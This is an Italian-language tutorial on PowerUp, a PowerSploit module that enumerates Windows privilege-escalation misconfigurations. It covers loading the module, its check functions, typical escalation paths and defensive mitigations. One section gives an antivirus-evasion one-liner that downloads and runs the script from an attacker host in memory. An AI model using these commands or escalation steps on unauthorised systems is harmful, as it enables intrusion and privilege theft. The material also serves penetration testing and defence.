Tutorials

Guida Approfondita su PowerUp

PowerUp è un modulo PowerShell sviluppato come parte del progetto PowerSploit, pensato per aiutare i penetration tester e red teamer ad automatizzare l'enumerazione delle vulnerabilità di privilege es

#exploitation#post-exploitation#windows

Guida Approfondita su PowerUp

Introduzione

PowerUp è un modulo PowerShell sviluppato come parte del progetto PowerSploit, pensato per aiutare i penetration tester e red teamer ad automatizzare l'enumerazione delle vulnerabilità di privilege escalation su sistemi Windows. È pensato per essere utilizzato in fase di post-exploitation quando si ha un accesso limitato e si desidera ottenere privilegi più elevati.

PowerUp individua configurazioni errate comuni e vulnerabilità di sicurezza che potrebbero permettere a un attaccante di ottenere accesso come amministratore o SYSTEM.


Obiettivi del Tool

  • Identificare servizi vulnerabili configurati impropriamente
  • Cercare file e directory scrivibili con privilegi elevati
  • Trovare eseguibili con permessi deboli
  • Cercare credenziali memorizzate in chiaro o in file
  • Verificare permissive Access Control Lists (ACLs)

Requisiti

  • Esecuzione di PowerShell (minimo v2)
  • Nessuna necessità di installazione: può essere caricato in memoria

Download del Tool

PowerUp è parte di PowerSploit:

bash
git clone https://github.com/PowerShellMafia/PowerSploit.git

Oppure puoi scaricare solo il modulo PowerUp:

bash
cd PowerSploit/Privesc

Esecuzione

1. Caricamento del modulo in PowerShell

powershell
Import-Module .\PowerUp.ps1

2. Esecuzione automatica delle principali funzioni

powershell
Invoke-AllChecks

3. Funzioni utili singole

powershell
# Cerca servizi con binari scrivibili
Get-ServiceUnquoted

Cerca servizi con ACL deboli

Get-ModifiableServiceFile

Cerca file binari con permessi modificabili

Get-ModifiablePath

Mostra informazioni su UAC

Get-UACLevel

Enumerazioni Effettuate da PowerUp

  • Unquoted Service Paths: servizi configurati senza virgolette in percorsi con spazi
  • Modifiable Services: servizi i cui binari o configurazioni possono essere modificati
  • Modifiable DLLs: DLLs in path critici scrivibili
  • Registry Autorun: voci di registro configurate per eseguire file all'avvio
  • AlwaysInstallElevated: policy Windows che consente installazione di MSI con privilegi elevati
  • UAC: stato dell'UAC e livello di protezione
  • Credenziali e Password: cerca password hardcoded o salvate in chiaro

Esempi di Escalation Tipici

  • Un servizio con percorso non quotato → caricamento di un payload nel primo path matchato
  • Policy AlwaysInstallElevated attiva → esecuzione di payload.msi con privilegi SYSTEM
  • DLL Hijacking → sostituzione di una DLL scrivibile da utente limitato

Tecniche Off-AV

  • PowerUp può essere caricato in memoria per evitare scrittura su disco:
powershell
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/PowerUp.ps1')
Invoke-AllChecks

Best Practice in Ambiente Offensivo

  • Utilizzare dopo la compromissione iniziale e prima del tentativo di escalation
  • Salvare l’output per analisi successiva
  • Eseguire da utente non privilegiato per emulare scenari realistici

Mitigazioni e Difese

  • Rimuovere policy "AlwaysInstallElevated"
  • Applicare restrizioni NTFS su binari critici
  • Usare software di controllo integrità (es. AppLocker)
  • Monitorare script PowerShell e attività sospette con Microsoft Defender for Endpoint

Risorse


Conclusione

PowerUp è uno strumento estremamente utile per la fase di privilege escalation su host Windows. La sua capacità di automatizzare la ricerca di configurazioni errate lo rende una risorsa essenziale per ogni penetration tester. Deve essere usato con cautela e sempre contestualizzato all’ambiente di attacco per evitare rilevamenti o instabilità di sistema.